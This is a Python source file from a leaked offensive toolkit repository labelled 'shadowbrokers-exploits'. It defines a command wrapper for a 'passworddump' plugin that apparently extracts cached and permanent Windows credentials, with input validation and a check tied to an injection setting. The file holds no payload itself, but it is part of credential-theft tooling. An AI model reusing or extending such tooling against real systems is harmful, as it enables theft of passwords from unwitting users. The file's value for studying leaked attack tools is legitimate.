shadowbrokers-exploits/windows/Resources/Ops/PyScripts/lib/ops/cmd/passworddump.py
2017-04-14 11:45:07 +02:00

36 lines
No EOL
1.2 KiB
Python

import ops
import ops.cmd
import ops.env
import ops.cmd.safetychecks
VALID_OPTIONS = ['all', 'permanent', 'cached']
class PasswordDumpCommand(ops.cmd.DszCommand, ):
def __init__(self, plugin='passworddump', **optdict):
ops.cmd.DszCommand.__init__(self, plugin, **optdict)
def validateInput(self):
truecount = 0
for optkey in self.optdict:
optval = self.optdict[optkey]
if (type(optval) is not bool):
try:
optval = bool(optval)
self.optdict[optkey] = optval
except:
return False
if optval:
truecount += 1
if (truecount > 1):
return False
return True
def mySafetyCheck(self):
if (self.validateInput() and (ops.env.get('OPS_NOINJECT').upper() != 'TRUE')):
return (True, '')
else:
return (False, 'OPS_NOINJECT is set to TRUE, you should probably not run passworddump')
ops.cmd.command_classes['passworddump'] = PasswordDumpCommand
ops.cmd.aliasoptions['passworddump'] = VALID_OPTIONS
ops.cmd.safetychecks.addSafetyHandler('passworddump', 'ops.cmd.passworddump.mySafetyCheck')